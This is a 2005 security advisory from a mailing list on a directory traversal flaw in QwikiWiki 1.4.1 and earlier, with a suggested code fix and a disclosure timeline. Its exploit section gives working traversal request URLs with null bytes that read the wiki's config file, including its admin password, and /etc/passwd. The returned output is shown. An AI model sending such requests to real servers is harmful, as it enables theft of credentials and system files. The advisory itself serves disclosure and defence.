[UNIX] QWikiWiki Directory Traversal Vulnerability
From: SecuriTeam (support_at_securiteam.com)
Date: 01/05/05
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To: list@securiteam.com Date: 5 Jan 2005 16:17:20 +0200
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QWikiWiki Directory Traversal Vulnerability
------------------------------------------------------------------------
SUMMARY
<http://www.qwikiwiki.com/> QwikiWiki is driven by one core design goal:
simplicity. This design goal is codified into three key principles:
* Self Sufficiency: QwikiWiki requires only a web server and PHP
* Zero-Edit Deployment: QwikiWiki is immediately usable "out of the box"
* Minimalist Featureset: QwikiWiki is not everything to everybody
QwikiWiki doesn't properly sanitize the 'page' parameter, allowing an
attacker to read any arbitrary file he desires, specifically the
configuration file of QwikiWiki, _config.php.
DETAILS
Vulnerable Systems:
* QwikiWiki version 1.4.1 and prior
Exploit:
If we want to read the password for QwikiWiki:
Request:
http://[SERVER]/qwiki/index.php?page=../_config.php%00
Returns:
(looking at source of HTML)
[...]
$QW_CONFIG['title'] = "QwikiWiki";
$QW_CONFIG['adminName'] = "David Barrett";
$QW_CONFIG['adminPassword'] = 'changeme!'
We can also read any file the web server has permission to:
Request:
http://[SERVER]/qwiki/index.php?page=../../../../../../etc/passwd%00
Response:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
[...]
Temporary Fix:
In file _wikiLib.php substitute:
function QWCreateDataPath?( $page, $extension )
{
return 'data/'. $page . $extension;
}
With
function QWCreateDataPath?( $page, $extension )
{
if (strpos($page, "..") === false) {
~ return 'data/'. $page . $extension;
} else {
~ return '';
}
}
* Original formating lead to QWCreateDataPath? having a ? at the end,
making it harder to cut and paste (php error). Wrapped it in HTML and pre
tags.
Timeline:
01/01/2005 - Vulnerability found
01/01/2005 - Vendor contacted
01/01/2005 - Vendor confirmed bug
04/01/2005 - Bug published in vendor page and advisory released
ADDITIONAL INFORMATION
The information has been provided by <mailto:madelman@iname.com>
Madelman.
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